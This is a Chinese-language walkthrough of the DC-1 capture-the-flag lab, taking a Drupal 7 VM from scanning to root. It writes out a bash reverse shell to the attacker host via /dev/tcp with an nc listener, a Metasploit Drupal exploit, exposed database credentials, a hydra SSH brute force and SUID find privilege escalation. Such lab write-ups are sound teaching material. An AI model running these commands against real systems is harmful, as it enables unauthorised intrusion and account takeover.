文章目录
实验环境:DC-1靶机、kali攻击机
靶机:
链接:https://pan.baidu.com/s/1naWHuZDDwWOI2zqO6vG6OA 提取码:rkzw
1、查看靶机的mac地址
此步也可省略,毕竟在真实环境不知道MAC地址。
2、扫描该网段
发现靶机的ip地址为192.168.246.140
接下来扫描开放端口的信息
发现开放了22、80、111端口
22端口可以尝试进行爆破
尝试进行访问80端口,发现可以打开网页
发现使用的是Drupal网站管理系统。
3、对网站目录进行扫描
可以使用kali自带工具dirb
扫描过程太慢
也可以使用dirbuster(需要进行安装)
进入robots.txt文件
发现关于更新的文本描述,尝试去访问
发现这个网站的版本是7.x
4、寻找可以利用的漏洞
可以通过百度去寻找相关的CVE漏洞
也可以使用msf获取会话
首先利用search drupal查询漏洞利用模块
利用2018年这个漏洞利用模块,设置攻击载荷与相关选项
获取到目标主机会话,查询当前路径等
发现了flag1.txt,查看内容
该内容表示任何一个CMS都需要一个配置文件,你也不例外
5、这个时候就需要从相关的配置文件入手。
发现网站目录中有一个web.config,查看发现作用不大。
从而想到每一个web网站一般都有数据库配置文件,配置文件中存放着明文用户与密码等,所以可以尝试去寻找数据库的配置文件。
查看sites这个目录可以寻找到数据库配置文件。
查看settings.php文件
发现flag2
这个flag表示暴力破解和字典攻击不是获取成功的唯一方式,但是也可以去进行尝试
6、获取到了数据库相关信息,所以可以尝试登陆数据库
‘database’ => ‘drupaldb’,
‘username’ => ‘dbuser’,
‘password’ => ‘R0ck3t’,
‘host’ => ‘localhost’,
‘port’ => ‘’,
‘driver’ => ‘mysql’,
‘prefix’ => ‘’
shell命令可以获取网站webshell,查看id发现不是管理员权限
这个时候需要查询有没有开放3306端口
开放了3306端口,但是发现需要本机进行登录
尝试进行mysql登录
mysql -udbuser -pR0ck3t
连接失败
7、尝试反弹shell
本地监听2333端口
nc -lvvp 2333
bash -i >& /dev/tcp/192.168.246.130/2333 0>&1
结果反弹失败
利用这条命令进入交互式shell
python -c ‘import pty;pty.spawn("/bin/bash")’
成功进入交互式shell
现在尝试能不能进行shell反弹
发现成功了,这是因为之前是通过python调用的bash
登录mysql数据库,但是发现在反弹的shell中登录不了,但是在交互式shell中却能登录
8、操作数据库,查看表
发现存在用户的表是users
查看表格内容
发现admin用户,但是其密码经过了加密,要想破解密码比较困难,但是可以通过伪造一个密码经过加密后对数据的表进行修改即可
使用drupal时自带脚本重新生成密码
脚本在www目录
命令:php scripts/password-hash.sh admin
进入数据库进行更改
重新登录mysql数据库
update users set pass=‘
S
S
SDH1FP9a2OmNsHCYRQJeSICFQqZUcfUmecNf1cB/ILxbZY1D87L/2’ where uid=1;
进入网页使用用户名admin,密码admin进行登录
发现了flag3
这个flag3将线索指引到etc/passwd
9、查看etc/passwd,发现flag4
flag4用户可以登录,所以尝试ssh爆破
hydra -l flag4 -P /usr/share/john/password.lst 192.168.246.140 ssh -vV
-f -o hydra.ssh
爆破成功
10、使用用户名flag4,密码为orange进行登录
ssh flag4@192.168.246.140
登录成功
发现了flag4.txt
表示可以使用相同的方法在root目录下获取flag
进入/root目录发现没有权限访问
11、提权
查看是有有一些命令具有SUID标志
因为带有SUID的命令具有root权限,然后利用权限具有传递性
find / -perm -4000 2>/dev/null
发现find命令具有root权限
利用操作系统内核提权(这是提权最后尝试的方法)
mkdir lsy
find lsy -exec “whoami” ;
find lsy -exec “/bin/bash” ;
find lsy -exec “/bin/sh” ;
查看最终的flag